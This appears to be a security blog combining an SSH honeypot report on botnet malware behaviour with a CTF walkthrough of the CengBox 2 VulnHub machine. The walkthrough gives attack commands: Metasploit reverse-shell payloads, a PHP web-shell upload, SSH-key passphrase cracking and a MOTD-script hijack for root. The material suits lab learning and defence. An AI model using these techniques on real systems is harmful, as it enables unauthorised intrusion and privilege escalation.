Project Honeypot

I haven’t had much time to focus on Capture the Flag exercises recently, but I decided to setup a SSH honeypot for a few days to see what data I could capture. From the outset, I presumed most of the traffic would be botnets so I wanted to see if there was any targetted activity I could identify.

I was also curious to see where most of the attacks would originate from, if there were any patterns in the data, and generally remind myself how much of a cesspit the internet is. This blog post details my findings.

Summary of steps

  • Download and install Cowrie.
  • Configure Cowrie to write logs to an SQL database
  • Configure userdb.txt to accept a few common usernames/passwords. I tweaked this throughout the process once I learnt more about my attackers.
  • Download and install Kippo-Graph to analyse data (originally made for an older honeypot tool called Kippo which has been abandoned. Cowrie is a fork of Kippo so the Kippo-Graph tool continues to work).


Start Time (UK Time)End Time (UK Time)
Monday, 22-Jun-2020, 09:28 AMThursday, 25-Jun-2020, 15:53 PM

Much to my surprise, there wasn’t as much volume to the honeypot as I was initially expecting. Over the 3-4 day period, there were 24743 login attempts, from 822 different IP addresses.

You can download the data collected during the honeypot experiment below. I have intentionally redacted the IP addresses that hit the honeypot, but you will find details on AS Numbers, along with other interesting data collected.

DataDescriptionDownload Link
Full Database (SQL Format)Full database download. IP addresses from session table has been redacted. This contains all commands executed, the SSH fingerprints captured, session timing and more.Download

Pew Pew Map

I didn’t know what a ‘Pew Pew Map’ was until I started my own honeypot. Thumbs up to whoever thought of the name! This Pew Pew Map represents the 65 countries where attacks originated from.

Arrow ColourDescription
GreenLess than 10 distinct IP addresses from country attacked honeypot
YellowMore than 10 distinct IP addresses from country attacked honeypot
RedMore than 100 distinct IP addresses from country attacked honeypot

Botnets and behaviour observed

Inevitably, most of the traffic to the honeypot was going to be from botnets. It is hard to distinguish which are botnets and which aren’t – but I am fairly confident most of the activity I saw was automated in some way. Here is a summary of some of the botnets and other activity observed during my experiment.

1) Raspberry Pi Botnet

A botnet which seemed to be targetting Raspberry Pi’s was the first one to access the honeypot, and was seen many times throughout the week. The botnet seemed to use stock/common Raspberry Pi passwords to guess its way into SSH. Once connected, it copied a bash script to the machine via SCP, and attempted to execute it. Googling this bash script suggests it has been around for quite a long time. It is not clear if this is just a new variant of the original malware, or if it is the same malware that is just perpetuating.

What surprised me was just how simple this bash script was – yet, it is clearly effective, due to the amount of times this botnet hit my honeypot. A copy of the malicious shell script can be found here. Download at your own risk and whatever you do, do not run this on your environment.

Summary of Malware steps:

  • Killed several processes on the machine. I don’t know why it does this, but I believe this is some form of cryptocurrency mining malware, and is attempting to kill off competing malware?
  • Maps to in /etc/hosts – this is odd. The domain does exist according to WHOIS, but doesn’t actually resolve anywhere.
  • Modifies user passwords and adds a root SSH key, presumably in case access is required at a later date.
  • Adds as a nameserver in /etc/resolv.conf
  • Generates a random string based on the MD5SUM of the output from uname -a.
  • Uses the randomly generated string as a username to login to the Undernet IRC server, and connects to the #biret channel – perhaps this channel is used as a command and control server, and issues commands to the infected machines.
  • Uses apt-get to install zmap and sshpass.
  • Uses zmap to generate a file containing 100,000 IP addresses saving the output into a file.
  • Loops all IP addresses in the file and attempts to propagate itself onto other machines, and presumably repeat the same steps when it reinfects another host.

My thoughts

  • In some ways, this script is really clever in just how simple it is. They’ve managed to use bash to connect to an IRC server, all within a few simple lines of code. They didn’t need to use Python or any other language to achieve this.
  • In other ways, this script is really stupid. The script appears to generate a random username (for connecting to IRC) based on the output from ‘uname -a’. Given they are targetting Raspberry Pi devices, I can’t imagine they are going to get many distinct usernames generated and there will likely be collisions when infected hosts connect to IRC. This is far from ideal if they are using IRC as their command and control server, and rely on successful IRC connections to issue commands.
  • Every compromised host is going to connect to the specific IRC channel on Undernet. I wonder if you could automate the abuse notifications to the ISP’s based on the IP addresses connecting to this channel? Probably.

2) Generic Trojan

I also noticed a few sessions which attempted to connect to a few IP addresses using wget and download malware. The commands run by each of the sessions were identical so this indicates this is likely automated activity / a botnet. Both IP addresses belonged to AS53850 GorillaServers, Inc.

I’ll refrain on providing links to the actual malware, but the SSH connections which were made were from the same IP address used in the wget command to download the malware. The malware information can be found here:

3) GCHQ Activity

For those of you who don’t know, GCHQ is an intelligence and security organisation within the UK (Government Communications Headquarters). Over the course of the experiment, I had several connections from various IP addresses downloading a shell script called – this shell script (when executed) would then download several other shell scripts, which in turn seemed to download some form of malware. I couldn’t really see what this malware was doing, but I did dig a bit deeper into the URLs where they were downloading the malware from.

Interestingly, one of the connections downloaded malware from a website that had this message on the front page:

I’ll admit – this did make me laugh. They could have put a bit more effort in if they genuinely wanted people to believe this was under GCHQ control.

Visit the URL at your own risk. It may contain malicious content.
c2 . gov . uk . nova . dashki . pw

Besides, no doubt GCHQ already have a backdoor built into the Linux Kernel.

GCHQ, you may want to take a look at this.

4) Human or bot?

Looking at the logs and activity, it can be quite difficult identifying what activity is from automated bots, and what is human based activity. What you can do though is retrieve the terminal window size of the user who is connecting to SSH. In the case of automated scripts/bots, the terminal size is typically null as there is no terminal window open. In the case of humans, there is generally a terminal size provided in the connection details.

There were two IP addresses in total which had terminal sizes specified during the honeypot experiment. I can’t tell if they are bots or not really but they did try to stop the iptables service after realising their wget command wasn’t working which makes me believe this was actually a confused human falling straight into my honeypot trap. Busted!

Overall, creating a honeypot was generally quite interesting. I will likely do this again in the future as it’s interesting to get a feel for the botnets currently spreading around the world. If you are a researcher looking into some of these botnets, please get in touch as I would love to hear from you.

Until next time.

CTF's Walkthroughs

CengBox 2 – CTF Walkthrough

This is my walkthrough of CengBox 2. If you’re looking for my walkthrough of CengBox 1, you can find it here. You can download CengBox 2 from VulnHub. Thanks to ‘noodlearms’ for hint-swapping.

Scan – NMAP

As always, I start off with a port scan to see if there are any open ports. I do this using NMAP.

nmap -p-

This revealed three open ports. FTP, SSH, and a web server. I decided to take a look at the website first.

Reviewing the website

The website was just a standard maintenance page.

Time to scan it with DIRB to check for common directories.

Scan – DIRB


This revealed nothing. That’s annoying. Time to use a bigger wordlist.

dirb /usr/share/dirb/wordlists/big.txt

Again, this revealed nothing of use unfortunately. I decided to append some common file extensions to be checked.

dirb /usr/share/dirb/wordlists/big.txt -X .php,.html,.phtml,.txt,.bak

This again revealed nothing unfortunately. I was fairly confident at this point the website wasn’t going to give me any more revealing information. I decided to check FTP.

ftp -nv

Once connected:

user anonymous

I logged in as the anonymous user (using the commands above). I left the password as blank, and was able to authenticate. When I listed the files, I was able to see a file called note.txt.

This looks helpful! Using the get command, I was able to download the file to a local directory.

I navigated to the folder where the file was downloaded, and saw this message:

The note suggested the website may have moved to ceng-company.vm, so I modified my hosts file (/etc/hosts) and visited http://ceng-company.vm in my browser:

When I visited the website, it looked exactly the same. There were no differences. I re-ran DIRB scans with various wordlists, including one for admin panels. I tried varying extensions, including .ceng which was a file extension used in CengBox 1. Every scan I performed literally returned nothing new. I was hitting a brick wall every time. Time for a break, I think.

Several Hours Later

I revisited the note to try and get some ideas, and after many (many) hours of trying various things, and nearly giving up, I found what I was looking for.


After adding various admin panel names as a DNS record in /etc/hosts, I found what looked like an admin area:

Here we go – a 403 error page. This looks like it could be a different website on the server. I think I might write a script that can automate testing HTTP hosts in future as this is definitely new to me and it may come in handy. At this point, I thought it would be worth repeating DIRB scans.

dirb http://admin.ceng-company.vm

This returned no results. This feels a bit too familiar! I specified the bigger wordlist, and tried again.

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt

Again, no results. This CTF is certainly challenging. Let’s try adding common extensions to the scan:

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt

Ugh… I’m nearly out of ideas at this point. The note suggested an admin panel or something similar had been setup – I spent hours searching the web for wordlists for different admin panels etc, but none of the wordlists I used returned any results.

I’m aware there are other directory searching tools (Dirbuster etc) but I’ve never really reviewed their wordlists. I decided to look in the Dirbuster wordlists folder on Kali and started to work my way through them instead. After a few more hours of searching, I finally found a result with the following wordlist (this wordlist has 220560 words in, so seems to be a useful one to use when finding a needle in a haystack):

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

This revealed a directory called /gila – from previous experience, I know this to be a CMS application.

We know from the note that the password is likely going to be easy, so I head to the /admin directory and log straight in:

Username: kevin@ceng-company.vm
Password: admin

Once in the admin directory, I looked around to see what I could find. Rather quickly, I found a file manager under “Content ยป File Manager”. I loaded a metasploit session, created a PHP payload, and went to upload my shell.

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp

This gave me a PHP command – I copied the eval part, put it into a file (shell.php) and saved it locally. I tried uploading the shell file into the main directory of gila, and whilst it told me it was successful, it didn’t seem to work.

Instead, I clicked into the tmp folder, and was able to successfully upload the PHP shell there. I had to delete the .htaccess file though to make sure I could visit that directory (http://admin.ceng-company.vm/gila/tmp/shell.php).

Once the metasploit meterpreter session opened, I entered the session with the following command:

sessions -i 1

To get a proper shell, I used Python.

whereis python
(this revealed the true location of the Python binary which I then used in the next command)
python3.5 -c 'import pty; pty.spawn("/bin/bash")'

I finally have a shell

Once I had a shell, I ran the sudo command to see what binaries I could run using sudo.

sudo -l

This didn’t show anything I could run as root, but it did show I could run a script (/home/swartz/ as the swartz user. This looks like it may help us run PHP so I proceeded to try it out.

sudo -u swartz /home/swartz/

Low and behold, I was right. It looks like I can run PHP commands from here (and given the script is running as the swartz user, we can potentially get access as this user). I loaded up another metasploit session, generated my PHP payload, and attempted to run the “eval” portion of the command in the script.

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LPORT 4445 (this is necessary as the other session is running on the default port)
set SRVPORT 8081 (this is necessary as the other session is running on the default port)

Once this loaded the shell, I now had access as the swartz user.

I again ran the sudo command to see if there was anything I could run as root / another user. Unfortunately, this just prompted me for a password so this didn’t look hopeful.

I had a look around to see what directories I could access. Within the /home directory was a home folder for another user (mitnick). I was able to access his home directory and list his files. I noticed user.txt which is probably the first flag.

Unfortunately, I couldn’t read the user flag, but it at least suggested I need to become the mitnick user to progress further. What I did notice was that there was a .ssh directory, and I was able to read the id_rsa file (SSH Key).

I attempted to connect via SSH as this user to see if I could progress further.

ssh -i id_rsa mitnick@localhost

This worked, but I needed a passphrase to continue. I haven’t seen any passphrases so far so I used John the Ripper to try and crack the SSH Key passphrase. I saved the key into a file locally on my Kali machine, and ran the following series of commands:

/usr/share/john/ mitnick > mitnick.hash
sudo john mitnick.hash -wordlist=/usr/share/wordlists/rockyou.txt

This didn’t take too long – as we can see, the passphrase was revealed as ‘legend’.

I tried connecting via SSH again, entered the passphrase, and was now able to access the machine as the mitnick user. This got me the first flag.

I continued to look around the system, and identified /etc/update-motd.d was writable. I’ve previously seen this attack vector on similar CTF’s. MOTD (Message of the Day) are messages/scripts run when you login to SSH. I loaded yet another meterpreter session (see steps above on how to do this, you’ll need to change the ports again to something new or it wont work). This time, I set the target in meterpreter as Linux which instead gives us a wget command. I set the payload to ‘linux/x86/shell_reverse_tcp’, and started the listener. Once started, I copied the command it gave me, put it into /home/mitnick/, and applied the correct file permissions to ensure the file could be executed:

chmod +x /home/mitnick/

Once done, I modified /etc/update-motd.d/00-header by adding a line to the bottom:

echo "sh /home/mitnick/" >> /etc/update-motd.d/00-header

Now that this line is in the MOTD file, we can logout of SSH, relogin, and that command should be executed. So I done just that, and finally had a root shell.